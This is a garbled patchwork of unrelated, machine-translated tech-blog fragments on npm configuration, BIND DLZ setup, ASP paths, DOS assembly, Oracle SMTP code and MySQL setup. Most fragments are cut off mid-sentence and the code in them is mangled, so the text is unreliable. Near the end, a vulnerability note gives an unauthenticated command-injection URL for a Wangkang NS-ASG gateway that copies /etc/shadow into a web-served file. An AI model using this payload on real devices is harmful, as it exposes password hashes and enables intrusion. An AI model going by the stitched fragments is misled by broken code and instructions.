Nodejs for a long time did not follow up, recently want to use it to engage in a chat room, and then ran into the Socket.io this dongdong, said it can be used to simply realize real-time two-way event-based communication mechanism. I saw a few tutorials and used it to build a super simple chat room.
Initializing a project
Create a new folder on your computer, called "Chatroom," and then use NPM for initialization:
$ NPM Init
Then according to the prompts and related information st
correct path is not the same code?It's obviously the relative path. Red folder conn.asp files and database folder is brotherly, so to find Cnbruce.mdb, you can directlyDatabase/cnbruce.mdb and the Blue folder under the Conn.asp and database folder is the nephew of the relationship, to find Cnbruce.mdb, of course, is.. /database/cnbruce.mdb, in which.. /is to get to the next level. 8, then seeThe same effects are displayed two times, all pointing to thec:\inetpub\wwwroot\Now, that's because you
directly. In addition, the DLZ itself does not support caching, so you need to solve the query based on the actual situation.
Installation
Note: Here I use the CentOS7 to install the Dlz-mysql module as an example.
Installation dependencies
Yum Install mariadb-devel gcc wget patch makeDownload source
The previous version of Bind9.8 needs to be patch, which can be referenced DLZ official documentation, Bind9.8 after (including 9.8) version has been integrated DLZ:
wget ftp://ftp.isc.org/
//–save: module names are added to dependencies and can be reduced to parameter-S.
//–save-dev: The module name is added to the devdependencies and can be reduced to parameter-D.
After installation Package.json:
{
"name": "Demo1", "
Version": "1.0.0",
"description": "",
"main": "Index.js",
"scripts": {
"Test": "Echo \" Error:no test specified\ " exit 1"
},
"author": "Mnixu",
"license": "ISC",
" Devdependencies ': {
' webpack
The environment of ATC tools is divided into 2 main parts: WiFi hotspot Sharing and ATC Environment building Environment
System: OS X 10.10.3Vm:virtualboxLinux:ubuntu 14.04 WiFi hotspot setup
Reference article:Use HOSTAPD and dhcp3-server to build Wi-Fi APs on Ubuntu12.04Create a wireless (WiFi) Hotspot USB Wireless card selection on VirtualBox ubuntu
Mercury mw150u 150M Wireless USB card: Follow the IEEE 802.11b/g/n standard, free drive, directly available. I just started using the 360wifi, nee
First, before the installation of the preparatory work:
Pre-installation instructions: The Mail service relies on the DNS service, please be assured beforehand that your DNS service has been completed for mail application configuration.
1, install the required RPM package first uninstall the system with the bind and its components, installation bind97
RPM-E Bind-libs Bind-utils
2. Configure Yum Library
Vim/etc/yum.repos.d/server.repo
[Base]
Name=server
Baseurl=file:///mnt/cdrom/server
E
to prevent double loading; change it if your system uses INT 0CDhNOCAD segment byte ' CODE 'Assume Cs:nocad, Ds:msgs, es:nothing, Ss:stackCopyright db ' Antonio quezada-duarte itesm ISC 296641 Monterrey 'DB ' Nuevo Leon MEXICO 'Cright_len equ $-offset Copyrightnew_int_9h proc NearPush AXPush DS; Save registersXOR Ax,axmov ds,ax;p oint ds to BIOS data area;, actually BIOS data area; starts at 0040:0000, but; XOR Ax,ax is faster than MOV ax,40hmov al,d
Install SQL2000, prompting the setup program to configure the server to fail.650) this.width=650; "src="/e/u261/themes/default/images/spacer.gif "style=" Background:url ("/e/u261/lang/zh-cn/ Images/localimage.png ") no-repeat center;border:1px solid #ddd;" alt= "Spacer.gif"/>When installing SQL Server 2000, the installation is almost complete, to the last prompt for an error, how to solve it, not urgent, see the following method:Delete the Microsoft SQL Server folder that was created at the time
SUBJECTMsg_textvarchar2:= 'This is the TEXT of the EMAIL MESSAGE.', V_OUTPUT1varchar2:= 'This is the TEXT of the ATTACHMENT FILE. This text would be is in A TEXT FILE attached to the EMAIL.') isc utl_tcp.connection; RCinteger; CRLFVARCHAR2(2):=CHR ( -)||CHR (Ten); MESGVARCHAR2(32767); BEGINC:=Utl_tcp.open_connection ('196.35.140.18', -);-----OPEN SMTP PORT CONNECTIONRC:=Utl_tcp.write_line (c,'HELO 196.35.140.18');-----performs handshaking with SMTP
we install the package is 私有的(private) , and remove the main portal. This prevents you from accidentally publishing your code.
{ "name":"Webpack-demo", "version":"1.0.0", "Description":"", "Private":true,//"Main":"Index.js", "Scripts": { "Test":"echo \ "Error:no test specified\" exit 1" }, "keywords": [], "author":"", "License":"ISC", "devdependencies": { "Webpack":"^4.0.1", "webpack-cli":"^2.0.9" },
Tags: face question sqlThis interview question is based on the statistical analysis of the bug continued (a) SQL-based Bug statistical method in the 3-2 section of the discussion abstract. Title: Suppose a table has an AC two column, how to find various C in the number of different a, and list the corresponding C value, and find out each C under a maximum of a value and number? requires an SQL statementAs an example:C A-----C1 A1C1 A2C1 A3C2 A1C2 A2C2 A3C2 A1C3 A2C3 A3C3 A1C3 A2C3 A3C3 A1C3 A2C3
can get the following formula to calculate the distance of two points:C = sin (mlata) *sin (MLATB) *cos (mlona-mlonb) + cos (mlata) *cos (MLATB)Distance = R*arccos (C) *pi/180Here, R and distance units are the same, if the use of 6371.004 km as a radius, then distance is the unit, if you want to use other units, such as mile, also need to do unit conversion, 1-kilometer =0.621371192mileIf the longitude is treated only as positive or negative, and the latitude is not 90-latitude (assuming that t
Label:If the installation directory isC:\Program Files\mysql\mysql Server 5.6Add Environment variablesMysql_home=c:\program Files\mysql\mysql Server 5.6Add%mysql_home%\bin in PathThe copy of the My_default.ini file in the installation directory is My.ini and the following information is configured in the file[Mysqld]Basedir = C:/Program Files/mysql/mysql Server 5.6DataDir = C:/Program Files/mysql/mysql Server 5.6/dataPort = 3306[MySQL]Default-characte
According to statistics, last year the game industry total sales of 837 Yuan, of which the hands of the industry reached the million yuan, this year the entire game industry will break through hundreds of billions of dollars, hand tour is expected to reach Billion Yuan. The rapid development of hand travel industry, let more and more developers join. game development first needs to select the game engine. Domestic market by unity , cocos2d-x c# c++ and other technology-based, hot han
Wangkang NS-ASG application security gateway Remote Command Execution
Directly execute remote commands without logon.Vulnerability
The verification method is as follows:Https://www.xxxxx.com/admin/device_status.php? Action = getethinfo defaults x = a | cat/etc/shadow>/Isc/third-party/httpd/htdocs/test. phpSolution:
Is wangkang's device written by a temporary engineer?
Vulnerability Update Time:Vulnerability causeDesign ErrorHazard levelLowImpact SystemDebian bind 9Unaffected SystemHazardsRemote attackers can exploit this vulnerability to stop the BIND service program from responding.Attack ConditionsAttackers must access isc bind.Vulnerability InformationIsc bind is a DNS protocol implementation.When processing domain updates, an authoritative server has a race condition error. Attackers can trigger this vulnerabil
wolf club ", // description // The main field is a module ID, which is a main project pointing to your program. // If your package is named express, then the user installs it and then require ("express "). "Main": "index. js "," dependencies ": {// dependency package list" express ":" ^ 4.14.0 "}," devDependencies ":{}," scripts ": {// test "test": "make test", "start": "node server. js "}," repository ": {// github account" type ":" git "," url ":" http://lamport.me/club "}," author ":" zhang
directory,The '/a.txt' file is stored in the c: \ directory. Therefore, the select command considers the current directory as a databaseStorage objectHere isC: \ mysql \ data.The select command can also specify the delimiter and escape character between fields when the file is detached,Word inclusionDelimiter and record line Separator. Column:FIELDSTerminated by '\ t'[OPTIONALLY] enclosed''Escaped '\\'LINESTerminated by '\ N'TERMINATED indicates that
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